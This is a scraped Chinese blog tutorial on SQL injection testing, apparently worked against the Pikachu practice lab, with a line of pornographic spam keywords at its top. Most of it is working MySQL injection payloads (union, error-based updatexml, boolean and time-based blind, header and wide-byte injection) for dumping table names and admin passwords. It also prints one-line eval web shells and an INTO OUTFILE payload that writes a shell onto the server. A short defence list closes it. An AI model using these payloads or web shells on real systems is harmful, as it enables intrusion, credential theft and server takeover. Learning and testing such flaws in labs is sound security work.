国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Web安全:SQL注入漏洞測試(防止 黑客利用此漏洞.)

這篇具有很好參考價值的文章主要介紹了Web安全:SQL注入漏洞測試(防止 黑客利用此漏洞.)。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

Web安全:SQL注入漏洞測試.

SQL注入就是 有些惡意用戶在提交查詢請求的過程中 將SQL語句插入到請求內(nèi)容中,同時程序的本身對用戶輸入的內(nèi)容過于相信,沒有對用戶插入的SQL語句進(jìn)行任何的過濾,從而直接被SQL語句直接被服務(wù)端執(zhí)行,導(dǎo)致數(shù)據(jù)庫的原有信息泄露,篡改,甚至被刪除等風(fēng)險。


目錄:

SQL注入測試的思想:

常見的SQL注入點類型:

常見的測試語句:

SQL 注入漏洞測試:

數(shù)字型注入(POST傳參):

字符型注入(GET傳參):

搜索型注入:

XX型注入:

基于 union 聯(lián)合查詢的信息獲?。?/p>

基于 函數(shù) 報錯的信息獲取:

基于 insert / update 注入(賬號 || 密碼):

delete 注入(留言板):

Http Header注入(http 頭):

基于 boolean 盲注(真 / 假):

基于 Time?盲注(時間):

利用SQL注入進(jìn)行遠(yuǎn)程控制服務(wù)器:

寬字節(jié)注入:

SQL注入的防御:


免責(zé)聲明:

嚴(yán)禁利用本文章中所提到的工具和技術(shù)進(jìn)行非法攻擊,否則后果自負(fù),上傳者不承擔(dān)任何責(zé)任。


SQL注入測試的思想:

主要是怎樣可以閉合,數(shù)據(jù)庫前面的語句。然后再去欺騙后臺執(zhí)行我們需要的查詢語句.


常見的SQL注入點類型:

數(shù)字型:user_id=$id

字符型:user_id='$id'

搜索型:text LIKE '%{$_GET['SEARCH']}%'"

常見的測試語句:

' and 1=1 #    //單引號是閉合前面的數(shù)據(jù)(寫閉合數(shù)據(jù)),因為 1=1 是真則返回是正常頁面.
' and 1=2 #    //單引號是閉合前面的數(shù)據(jù)(寫閉合數(shù)據(jù)),因為 1=2 是假則返回是錯誤頁面.
" and 1=1 #    //單引號是閉合前面的數(shù)據(jù)(寫閉合數(shù)據(jù)),因為 1=1 是真則返回是正常頁面.
" and 1=2 #    //單引號是閉合前面的數(shù)據(jù)(寫閉合數(shù)據(jù)),因為 1=2 是假則返回是錯誤頁面.
' or 1=1 #     //返回所以信息.
" or 1=1 #     //返回所以信息.
'              //查看有沒有報錯.
"              //查看有沒有報錯.
以上測試說明:可能存在注入點.

SQL 注入漏洞測試:

數(shù)字型注入(POST傳參):

$id=$_POST['id']            //模擬后臺傳入的參數(shù)思想
select  字段1,字段2  from  表名  where id =$id
(注意:有時候是 ” 雙引號,則單引號換為雙引號)

第一步:進(jìn)入可能存在SQL注入的頁面,點擊輸入 1 或 2....看看有沒有返回頁面信息等.

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


第二步:打開 Burp?Suite 工具進(jìn)行抓包,然后發(fā)送給 "?重發(fā)器?"?

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


第三步:在傳參的后面填寫? or 1=1,發(fā)送查看有沒有返回這個表的所以信息.

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


字符型注入(GET傳參):

$uname=$_GET['username']           //模擬后臺傳入的參數(shù)思想
select 字段1,字段2 from 表名 where username='$uname';

第一步:進(jìn)入可能存在SQL注入的頁面,輸入一個正常返回頁面的參數(shù)和一個錯誤返回頁面的參數(shù).(比如:正常返回頁面的參數(shù):kobe? ?,?錯誤返回頁面的參數(shù):1)

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


第二步:在頁面后面填寫一個字符然后跟Mysql語句 (先把前面的語句閉合),(再使用 # 注釋掉后面的): aaa' or 1=1#'

語句解析:
(1)前面的 ' 單引號是閉合 Mysql數(shù)據(jù)庫 的單引號.
(2)在拼寫 Mysql數(shù)據(jù)庫 語句時后面也要有一個 ' 單引號.
(3)想方法把后面的 ' 單引號給注釋掉,在 Mysql數(shù)據(jù)庫 中是使用 # 或 -- 注釋. 
(注釋 # 或 --后面的語句.)
(注意:有時候是 ” 雙引號,則單引號換為雙引號)
$uname=$_GET['username']            //模擬數(shù)據(jù)庫后面的運行是這樣的
select 字段1,字段2 from 表名 where username='kobe' or 1=1#';

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


搜索型注入:

select * from 表名 where 字符(username) like '%k%';
語句解析:
(1)like 是對表進(jìn)行匹配性查詢,匹配 % 中間含有的值,在 字符(username) 中所以含有 % 中間
的值(k)都會返回出來.

第一步:進(jìn)入可能存在SQL注入的頁面,輸入這個正常的查詢.

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


第二步:查詢框中輸入(先把前面的語句閉合),(再使用 # 注釋掉后面的):xxx%' or 1=1 #?

select * from 表名 where 字段(username) like '%xxx%' or 1=1 #%';
//模擬數(shù)據(jù)庫后面的運行是這樣的
select * from 表名 where 字段(username) like '%xxx%' or 1=1 #%';
語句解析:
(1)' 單引號前的數(shù)據(jù)是閉合 Mysql數(shù)據(jù)庫 中的語句.( xxx%' )
(2)or 1=1 是查找這個表中所以的數(shù)據(jù).
(3)# 或 -- 是 Mysql數(shù)據(jù)庫 注釋掉后面的語句.
(注意:有時候是 ” 雙引號,則單引號換為雙引號)

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


XX型注入:

$uname=$_GET['username']           //模擬后臺傳入的參數(shù)思想
select 字段1,字段2 from 表名 where username=('$uname');
select 字段1,字段2 from 表名 where username=('xx') or 1=1 #');
語句解析:
(1)' 單引號前的數(shù)據(jù)是閉合 Mysql數(shù)據(jù)庫 中的語句.( xx') )
(2)or 1=1 是查找這個表中所以的數(shù)據(jù).
(3)# 或 -- 是 Mysql數(shù)據(jù)庫 注釋掉后面的語句.
(注意:有時候是 ” 雙引號,則單引號換為雙引號)

第一步:進(jìn)入可能存在SQL注入的頁面,先把前面的語句閉合,輸入:xx') or 1=1 #

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


基于 union 聯(lián)合查詢的信息獲?。?/h3>
union 聯(lián)合查詢:可以通過聯(lián)合查詢來查詢指定的數(shù)據(jù).
用法舉例:
select username,password from user where id=1 union select 字段1,字段2 from 表名 
(聯(lián)合查詢的字段 數(shù) 需要和主查詢一致!)
思路:對查詢的結(jié)果使用 order by 按照指定的列進(jìn)行排序,如果指定的列不存在,數(shù)據(jù)庫會報錯。
通過報錯判斷查詢結(jié)果的列數(shù),從而確定主查詢的字段數(shù)。

order by x        //對查詢的結(jié)果進(jìn)行排序,按照第X列進(jìn)行排序,默認(rèn)數(shù)字0-9,字母a-z
Select version();        //取的數(shù)據(jù)庫版本
Select database();       //取得當(dāng)前的數(shù)據(jù)庫
Select user();           //取得當(dāng)前登錄的用戶

第一步:進(jìn)入可能存在SQL注入的頁面,先把前面的語句閉合,再使用 order by 測試字段數(shù)有多少.(如果指定的列不存在,數(shù)據(jù)庫會報錯,通過報錯判斷查詢結(jié)果的列數(shù),從而確定主查詢的字段數(shù).)(再使用 # 注釋掉后面的)

aa' order by 3 #        //報錯的
aa' order by 2 #        //沒有報錯的

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


第二步:已經(jīng)字段有幾段,則把前面的語句閉合,再使用 union select 字段1,字段2... from 表名

aa' union select database(),user() #
database()        //取得當(dāng)前的數(shù)據(jù)庫
user()            //取得當(dāng)前登錄的用戶

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


基于 函數(shù) 報錯的信息獲?。?/h3>
技巧思路:
在 MYSQL 中使用一些指定的函數(shù)來制造報錯,從而從報錯信息中獲取設(shè)定的息.
select/insert/update/delete都可以使用報錯來獲取信息.
背景條件:
后臺沒有屏蔽數(shù)據(jù)庫報錯信息,在語法發(fā)生錯誤時會輸出在前端.
基于報錯的信息獲取---三個常用的用來報錯的函數(shù):
updatexml()         //函數(shù)是MYSQL對 XML文檔 數(shù)據(jù)進(jìn)行 查詢和修改 的XPATH函數(shù).
extractvalue()      //函數(shù)也是MYSQL對 XML文檔 數(shù)據(jù)進(jìn)行 查詢 的XPATH函數(shù)。
floor()             // MYSQL 中用來 取整 的函數(shù).
Updatexml()函數(shù)作用:改變(查找并替換)XML文檔中符合條件的節(jié)點的值.
語法:UPDATEXML (xml_document, XPathstring, new_value)
第一個參數(shù):xml_document,表中的字段名
第二個參數(shù):XPathstring (Xpath格式的字符串),定位哪個位置
第三個參數(shù):new_value,String格式,替換查找到的符合條件的
限制:Xpath定位必須是有效的,否則則會發(fā)生錯誤.

第一步:進(jìn)入可能存在SQL注入的頁面,隨便輸入一個數(shù)據(jù),查看有沒有報錯的信息返回.(有報錯才符合我們的條件.)

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


第二步:使用基于報錯: updatexml()函數(shù)(主要是替換第二個參數(shù),把他替換為我們要查詢數(shù)據(jù)使用的函數(shù).)

kobe' and updatexml(1,version(),0) #

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

對傳入的數(shù)據(jù)進(jìn)行處理:
kobe' and updatexml(1,concat(0x7e,version()),0) #     //取的數(shù)據(jù)庫版本
kobe' and updatexml(1,concat(0x7e,database()),0) #    //取得當(dāng)前的數(shù)據(jù)庫
kobe' and updatexml(1,concat(0x7e,user()),0) #        //取得當(dāng)前登錄的用戶

0x7e 是 ~
concat()函數(shù):傳入的兩個參數(shù)組合起來,然后再打印出來.

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

使用limit一次一次進(jìn)行獲取表名:
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) #   

// table_schema='數(shù)據(jù)庫名'
// limit 0,1    只改 0 的那個數(shù)字( 0 代表第一個數(shù)據(jù)庫名的名稱, 1 代表第二個數(shù)據(jù)庫名的名稱,....)

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

獲取到表名后,再獲取列名:
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0) #

// table_name='表名'
// limit 0,1    只改 0 的那個數(shù)字( 0 代表第一個表名的名稱, 1 代表第二個表名的名稱,....)

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

獲取到列名后,再獲取數(shù)據(jù):
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) #
//可以獲取 用戶名. 

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0) #
//可以獲取 用戶的密碼.

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


基于 insert / update 注入(賬號 || 密碼):

模擬后臺代碼執(zhí)行:(正常執(zhí)行)
insert into member(username,pw,sex,phonenum,email,address) values('xxx',11111,2,3,4,5)

模擬后臺代碼執(zhí)行:(注入時的執(zhí)行)
insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,version()),0) or'',11111,2,3,4,5)

insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,user()),0) or'',11111,2,3,4,5)

insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,database()),0) or'',11111,2,3,4,5)

第一步:進(jìn)入可能存在SQL注入的頁面,隨便輸入一個數(shù)據(jù),查看有沒有報錯.

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

第二步:輸入命令進(jìn)行測試.

xxx' or updatexml(1,concat(0x7e,version()),0) or'     //取的數(shù)據(jù)庫版本

xxx' or updatexml(1,concat(0x7e,user()),0) or'        //取得當(dāng)前登錄的用戶

xxx' or updatexml(1,concat(0x7e,database()),0) or'    //取得當(dāng)前的數(shù)據(jù)庫  

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


delete 注入(留言板):

后臺執(zhí)行的代碼:
delete from message where id={$_GET['id']}

第一步:進(jìn)入可能存在SQL注入的頁面,隨便輸入一個數(shù)據(jù).


第二步:打開 Burp Suite 對剛剛的數(shù)據(jù)進(jìn)行攔截抓包,然后發(fā)送到“重發(fā)器”,找到我們輸入的數(shù)據(jù)進(jìn)行修改為.

1 or updatexml(1,concat(0x7e,database()),0)      //取的數(shù)據(jù)庫版本

1 or updatexml(1,concat(0x7e,user()),0)         //取得當(dāng)前登錄的用戶

1 or updatexml(1,concat(0x7e,database()),0)     //取得當(dāng)前的數(shù)據(jù)庫

第三步:對我們插入的數(shù)據(jù)進(jìn)行轉(zhuǎn)換為 URL 編碼.(編碼:鼠標(biāo)右鍵點擊--->轉(zhuǎn)換選擇-->URL-->特殊字符的URL編碼)


Http Header注入(http 頭):

原理及概括:
有些時候,后臺開發(fā)人員為了驗證客戶端頭信息(比如常用的cookie驗證)
或者通過http header頭信息獲取客戶端的一些信息,比如useragent、accept字段等等。

會對客戶端的http header信息進(jìn)行獲取并使用SQL進(jìn)行處理,如果此時沒有足夠的安全考慮則可能會導(dǎo)致基于http header的SQL Inject漏洞。

第一步:進(jìn)入可能存在SQL注入的頁面,進(jìn)行登錄.

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


第二步:打開 Burp Suite 對剛剛瀏覽的數(shù)據(jù)進(jìn)行發(fā)送到“重發(fā)器”中查看.(使用 User-Agent:? 做測試,把他后面的刪除,輸入一個:' (單引號)查看有沒有返回報錯)

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


第三步:輸入我們構(gòu)造的語句.(自己需要的信息.)

xxx' or updatexml(1,concat(0x7e,version()),0) or'     //取的數(shù)據(jù)庫版本

xxx' or updatexml(1,concat(0x7e,user()),0) or'        //取得當(dāng)前登錄的用戶

xxx' or updatexml(1,concat(0x7e,database()),0) or'    //取得當(dāng)前的數(shù)據(jù)庫 

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


第四步:打開 Burp Suite 對剛剛瀏覽的數(shù)據(jù)進(jìn)行發(fā)送到“重發(fā)器”中查看.(使用 Cookie:?? 做測試,在用戶名后面添加一個:' (單引號)查看有沒有返回報錯.)

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


第五步:輸入我們構(gòu)造的語句.(自己需要的信息.)

admin' and updatexml(1,concat(0x7e,version()),0) #     //取的數(shù)據(jù)庫版本

admin' and updatexml(1,concat(0x7e,user()),0) #        //取得當(dāng)前登錄的用戶

admin' and updatexml(1,concat(0x7e,database()),0) #    //取得當(dāng)前的數(shù)據(jù)庫 

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


基于 boolean 盲注(真 / 假):

什么是盲注以及常見的盲注類型:
在有些情況下,后臺使用了錯誤消息屏蔽方法(比如@)屏蔽了報錯
此時無法在根據(jù)報錯信息來進(jìn)行注入的判斷,這種情況下的注入,稱為“盲注”

根據(jù)表現(xiàn)形式的不同,盲注又分為based boolean和based time兩種類型

基于boolean的盲注主要表現(xiàn)癥狀:
(1)沒有報錯信息
(2)不管是正確的輸入,還是錯誤的輸入,都只顯示兩種情況(我們可以認(rèn)為是0或者1)
(3)在正確的輸入下,輸入and 1=1 / and 1=2發(fā)現(xiàn)可以判斷.

第一步:進(jìn)入可能存在SQL注入的頁面,輸入我們構(gòu)造的語句.(有沒有返回正常和錯誤.)如果正常和錯誤都有,則存在注入.

kobe' and 1=1 #        //正常返回頁面(真)
kobe' and 1=2 #        //錯誤返回頁面(假)

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


第二步:我們已經(jīng)知道,這里存在注入點了.(所以進(jìn)行測試有沒有報一些我們想要的數(shù)據(jù).)(如果手動注入取信息是比較麻煩的,建議使用工具)

kobe' and ascii(substr(database(),1,1))>113 #

ascii 是轉(zhuǎn)換為 ASCLL 編碼
substr 是取字符,中間的 1 是取第一個字符.
database() 是取數(shù)據(jù)庫名稱
>113 是轉(zhuǎn)換為 ASCLL 編碼大于113,則正常返回頁面,如果小于 113 ,則錯誤返回頁面.

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


基于 Time?盲注(時間):

如果說基于boolean的盲注在頁面上還可以看到0 or 1的回顯的話
那么基于time的盲注完全就啥都看不到了!

但還有一個條件,就是“時間”,通過特定的輸入,判斷后臺執(zhí)行的時間,從而確認(rèn)注入!

常用的Teat Payload:
kobe' and sleep(5)#

看看輸入:kobe 和輸入kobe ' and sleep(5)#的區(qū)別,從而判斷這里存在based time的SQL注入漏洞

第一步:進(jìn)入可能存在SQL注入的頁面,輸入我們構(gòu)造的語句.(按F12 --> 查看網(wǎng)絡(luò).)

kobe' and sleep(10) #

sleep 是暫停時間. 10 是秒

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


第二步:我們已經(jīng)知道,這里存在注入點了.(所以進(jìn)行測試有沒有報一些我們想要的數(shù)據(jù).)(按F12 --> 查看網(wǎng)絡(luò).)

kobe' and if(substr(database(),1,1)='p',sleep(10),null) #

substr 是取字符,中間的 1 是取第一個字符.
database() 是取數(shù)據(jù)庫名稱
if 判斷數(shù)據(jù)庫名稱第一個字符是不是 p ,如果是時間延長十秒,如果不是不延長

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


利用SQL注入進(jìn)行遠(yuǎn)程控制服務(wù)器:

一句話木馬是一種短小而精悍的木馬客戶端,隱蔽性好,且功能強(qiáng)大.
PHP: <?php @eval($_POST['bgxg']);?>
ASP: <%eval request("bgxg")%>
ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.ltem["bgxg"],"unsafe");%>
通過SQL漏洞·寫入惡意代碼:
into outfile 將select的結(jié)果寫入到指定目錄的1.txt中
在一些沒有回顯的注入中可以使用into outfile將結(jié)果寫入到指定文件,然后訪問獲取

前提條件:
1.需要知道遠(yuǎn)程目錄
2.需要遠(yuǎn)程目錄有寫權(quán)限
3.需要數(shù)據(jù)庫開啟了secure_file_priv

第一步:進(jìn)入可能存在SQL注入的頁面,輸入我們構(gòu)造的語句.

kobe' union select "<?php @eval($_GET['bgxg'])?>,2 into outfile "寫入到服務(wù)器的目錄/1.php" #

//outfile 是將前面的字段(一句話木馬)結(jié)果輸入到后面的目錄中.


第二步:瀏覽一下這個木馬? ?bgxg=phpinfo();? ? ?如果可以返回則成功寫,再使用工具進(jìn)行連接.


寬字節(jié)注入:

寬字節(jié)注入原理:
寬字節(jié)注入使用了轉(zhuǎn)義的函數(shù),對輸入'進(jìn)行了轉(zhuǎn)義\'
但是可以利用反斜杠編碼為%5c,然后再用%df構(gòu)成(連)字繞過對 ' 的轉(zhuǎn)義.
(設(shè)置編碼時設(shè)置為了gbk編碼)

第一步:進(jìn)入可能存在SQL注入的頁面,輸入我們構(gòu)造的語句.

kobe%df’ or 1=1#

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


第二步:打開 Burp Suite 對剛剛瀏覽的數(shù)據(jù)進(jìn)行發(fā)送到“ 重發(fā)器 ”中查看.(重新輸入剛剛的數(shù)據(jù).)

安全測試sql注入,Web安全 領(lǐng)域.,# Web安全 OWASP TOP 10,滲透測試 領(lǐng)域.,sql,網(wǎng)絡(luò)安全,web安全,系統(tǒng)安全


SQL注入的防御:

(1)應(yīng)盡可能用服務(wù)器的數(shù)據(jù)庫權(quán)限降至最低.

(2)盡可能對進(jìn)入數(shù)據(jù)庫的特殊字符進(jìn)行轉(zhuǎn)義處理,或編碼轉(zhuǎn)換.

(3)盡可能在檢測的時候使用專門的 SQL 注入檢測工具進(jìn)行檢測.

(4)盡可能避免網(wǎng)站打印出 SQL 錯誤信息,比如類型錯誤、字段不匹配等等.

(5)盡可能在查詢語句時,不要直接將用戶輸入變量直接拼接 SQL 語句中.(可以使用數(shù)據(jù)庫提供的參數(shù)化查詢接口)

? ? ??

? ? ??

學(xué)習(xí)鏈接:sqli基本概念和原理講解_嗶哩嗶哩_bilibili文章來源地址http://www.zghlxwxcb.cn/news/detail-636723.html

到了這里,關(guān)于Web安全:SQL注入漏洞測試(防止 黑客利用此漏洞.)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進(jìn)行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • 加強(qiáng)Web應(yīng)用程序安全:防止SQL注入

    加強(qiáng)Web應(yīng)用程序安全:防止SQL注入

    數(shù)據(jù)庫在Web應(yīng)用程序中存儲和組織數(shù)據(jù)時起著至關(guān)重要的作用,它是存儲用戶信息、內(nèi)容和其他應(yīng)用程序數(shù)據(jù)的中央存儲庫。而數(shù)據(jù)庫實現(xiàn)了高效的數(shù)據(jù)檢索、操作和管理,使Web應(yīng)用程序能夠向用戶提供動態(tài)和個性化的內(nèi)容。然而,數(shù)據(jù)庫和網(wǎng)絡(luò)應(yīng)用程序之間的通信不暢可能

    2024年02月14日
    瀏覽(24)
  • [網(wǎng)絡(luò)安全] Windows Server 設(shè)置文件屏蔽防止黑客利用漏洞上傳特定類型的非法文件(.asp .aspx .jsp .php)

    [網(wǎng)絡(luò)安全] Windows Server 設(shè)置文件屏蔽防止黑客利用漏洞上傳特定類型的非法文件(.asp .aspx .jsp .php)

    [網(wǎng)絡(luò)安全] Windows Server 設(shè)置文件屏蔽防止黑客利用文件上傳漏洞上傳特定類型的非法文件(.asp .aspx .jsp .php) 我在負(fù)責(zé)網(wǎng)站運維期間,遇到過一次黑客利用公司網(wǎng)站內(nèi)使用的開源文件上傳工具漏洞上傳非法文件(可執(zhí)行腳本) 我是通過設(shè)置文件屏蔽來防止此類事件的再次發(fā)生。

    2024年02月12日
    瀏覽(24)
  • WEB漏洞-SQL注入-利用SQLMAP工具繞過WAF

    WEB漏洞-SQL注入-利用SQLMAP工具繞過WAF

    訪問使用阿里云搭建的網(wǎng)站(存在自帶的阿里云盾)。 可以看到此時網(wǎng)站可以正常訪問,可以進(jìn)行正常注入。 使用工具進(jìn)行注入。 可以看到在使用工具注入沒多久后便返回了不存在注入點的信息。 因為經(jīng)常會用到SQLMAP這款工具對注入點進(jìn)行檢測,在遇到WAF時,如果還想繼續(xù)

    2024年02月12日
    瀏覽(25)
  • 滲透測試模擬(使用sqlmap進(jìn)行sql注入漏洞判斷,利用該漏洞進(jìn)行掛馬)

    滲透測試模擬(使用sqlmap進(jìn)行sql注入漏洞判斷,利用該漏洞進(jìn)行掛馬)

    環(huán)境:對某網(wǎng)站進(jìn)行滲透測試。 (PHP+Mysql開發(fā)的網(wǎng)站,用于WEB漏洞教學(xué)和檢測的) 工具:sqlmap(Kali Linux中自帶or官網(wǎng)下載Windows版) 此次實驗所涉及的sqlmap參數(shù): 一、信息收集 二、漏洞挖掘 (1)判斷網(wǎng)站是否存在sql注入漏洞 使用工具,sqlmap: sqlmap -u \\\"目標(biāo)網(wǎng)站地址\\\" --ba

    2024年02月15日
    瀏覽(21)
  • web安全漏洞-SQL注入攻擊實驗

    web安全漏洞-SQL注入攻擊實驗

    實驗?zāi)康?學(xué)習(xí)sql顯注的漏洞判斷原理 掌握sqlmap工具的使用 分析SQL注入漏洞的成因 實驗工具 sqlmap是用python寫的開源的測試框架,支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,F(xiàn)irebird,Sybase,SAP,MAXDB并支持6種SQL注入手段。 實驗內(nèi)容 SQL注入(SQL I

    2024年02月06日
    瀏覽(28)
  • 網(wǎng)絡(luò)安全:Kali Linux 進(jìn)行SQL注入與XSS漏洞利用

    網(wǎng)絡(luò)安全:Kali Linux 進(jìn)行SQL注入與XSS漏洞利用

    目錄 一、實驗 1.環(huán)境 2.Kali Linux 進(jìn)行SQL注入 3.Kali Linux 進(jìn)行XSS漏洞利用 二、問題 1.XSS分類 2.如何修改beef-xss的密碼 3.beef-xss 服務(wù)如何管理 4.運行beef報錯 5.beef 命令的顏色有哪些區(qū)別 6.owasp-top-10 有哪些變化 (1)主機(jī) 表1? 主機(jī) 系統(tǒng) 版本 IP 備注 Kali Linux 2022.4 192.168.204.154(動態(tài)

    2024年04月26日
    瀏覽(22)
  • WEB安全之XSS漏洞與SQL注入漏洞介紹及解決方案

